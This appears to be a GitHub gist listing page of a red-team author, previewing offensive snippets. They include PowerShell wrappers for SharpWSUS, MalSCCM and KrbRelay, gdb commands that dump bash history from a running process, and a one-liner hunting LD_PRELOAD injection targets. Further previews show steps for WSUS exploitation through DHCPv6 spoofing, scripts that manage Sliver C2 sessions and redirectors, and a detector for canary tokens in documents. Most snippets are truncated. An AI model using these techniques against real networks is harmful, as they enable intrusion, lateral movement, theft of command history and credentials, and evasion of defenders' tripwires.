Skip to content

Instantly share code, notes, and snippets.

View zimnyaa's full-sized avatar

zimnyaa

View GitHub Profile
@zimnyaa
zimnyaa / peas-gpo.py
Last active January 11, 2023 23:58
Enumerate GPO scripts from Exchange with F-Secure/PEAS
import peas
client = peas.Peas()
client.disable_certificate_verification()
#### V CONFIG SECTION V ####
client.set_creds({
@zimnyaa
zimnyaa / SharpWSUS.ps1
Created May 9, 2022 10:06
PowerSharpPack version of SharpWSUS
function Invoke-SharpWSUS
{
[CmdletBinding()]
Param (
[String]
$Command = ""
)
@zimnyaa
zimnyaa / MalSCCM.ps1
Created May 9, 2022 10:07
PowerSharpPack version of MalSCCM
function Invoke-MalSCCM
{
[CmdletBinding()]
Param (
[String]
$Command = ""
)
@zimnyaa
zimnyaa / KrbRelay.ps1
Created May 9, 2022 10:17
PowerSharpPack version of KrbRelay
function Invoke-KrbRelay
{
[CmdletBinding()]
Param (
[String]
$Command = ""
)
@zimnyaa
zimnyaa / dump-history.sh
Last active August 18, 2022 15:01
Dump history from a running bash process
#Effectively trigger history -a:
$ gdb -p PID -batch -ex 'call maybe_append_history(get_string_value("HISTFILE"))'
#Dump the last 10 history entries to your local terminal (pty)
$ gdb -p PID -batch -ex 'call append_history(10, "'$(tty)'")'
#Backup the entire history to a temporary file:
$ gdb -p PID -batch -ex 'call write_history("/tmp/history-backup.txt")'
@zimnyaa
zimnyaa / find-preload-candidates.sh
Created June 11, 2022 11:25
A simple bash oneliner to hunt for suitable LD_PRELOAD candidates on Linux.
echo 'connections';netstat -tp 2>/dev/null|grep tcp|awk '{print $7}'|cut -d '/' -f 2|uniq -c;echo 'processes';ps aux|grep -v "\\["|awk '{print $11}'|uniq -c|sort -r|head -n 5
@zimnyaa
zimnyaa / pretender-wsus.sh
Created October 10, 2022 12:33
Cleartext WSUS exploitation with DHCPv6 spoofing
# checking WSUS preferenses
PS> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
PS> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
### after setting up the attack click "Check for updates" button
### set up DHCPv6 spoofing
git clone https://github.com/RedTeamPentesting/pretender.git
cd pretender
sudo ./pretender -i eth0 --spoof wsus.lab.local
### setting up the IPv6 PyWSUS fork
git clone https://github.com/cr7pt0pl4gu3/pywsus-ipv6.git
@zimnyaa
zimnyaa / check-sliver.py
Created October 17, 2022 15:04
Check live sliver sessions and configs
from rich.console import Console
from rich.text import Text
from rich.table import Table, Column
from rich.markdown import Markdown
import os, asyncio
import time
from datetime import datetime
import sliver
console = Console()
@zimnyaa
zimnyaa / sliver-redir.py
Last active December 23, 2022 20:17
Check live beacon URIs, certificate expiry dates and redirectors with sliver-py
from rich.console import Console
from rich.tree import Tree
from rich.markdown import Markdown
import os, asyncio
import time
from datetime import datetime
import sliver, OpenSSL, ssl, urllib.parse
from datetime import datetime
console = Console()
@zimnyaa
zimnyaa / canary-check.py
Created December 23, 2022 20:21
Scan .docx for canaries (not just footers :D). Based on https://github.com/n3tsurge/detect-canary/blob/main/detect-canary.py
import os
import re
import sys
import zipfile
import glob
import logging
import argparse
def get_files(base_path=".", pattern="*.docx"):
'''